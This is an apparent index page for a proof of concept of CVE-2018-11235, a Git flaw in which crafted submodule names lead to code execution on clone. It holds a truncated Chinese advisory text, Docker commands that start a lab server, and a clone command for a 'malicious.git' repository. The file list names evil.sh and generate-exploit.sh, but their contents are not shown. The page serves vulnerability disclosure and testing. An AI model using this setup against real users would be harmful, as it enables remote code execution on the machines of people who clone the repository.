CVE-2018-11235 PoC — Git 安全漏洞

Source

https://github.com/qweraqq/CVE-2018-11235-Git-Submodule-CE

Associated Vulnerability

Title:Git 安全漏洞 (CVE-2018-11235)
Description:Git是美国软件开发者林纳斯-托瓦兹（Linus Torvalds）所研发的一套免费、开源的分布式版本控制系统。 Git中存在安全漏洞，该漏洞源于在将子模块名称添加到$GIT_DIR/modules目录下时，程序没有正确的验证来自不可信.gitmodules文件的子模块名称。远程攻击者可借助特制的.gitmodules文件利用该漏洞执行任意代码。以下版本受到影响：Git 2.13.7之前版本，2.14.4之前的2.14.x版本，2.15.2之前的2.15.x版本，2.16.4之前的2.16.x版本，2.1

Description

CVE-2018-11235-Git PoC

Readme

# CVE-2018-11235-Git-Submodule-CE
CVE-2018-11235-Git PoC

### Pull from Docker
```docker pull qweraqq/cve-2018-11235-git-submodule-rce```

### Start Git Http Server
```docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce```

### PoC
```git clone --recurse-submodules http://git.gitserver/malicious.git```

![PoC](./PoC.PNG "PoC")

File Snapshot


 [4.0K]  /data/pocs/c9984f9c6d2c7531fad0da40e0df9817a259d48b
├── [ 116]  apache-settings.conf
├── [ 984]  Dockerfile
├── [  34]  evil.sh
├── [ 901]  generate-exploit.sh
├── [ 35K]  PoC.PNG
└── [ 343]  README.md

0 directories, 6 files

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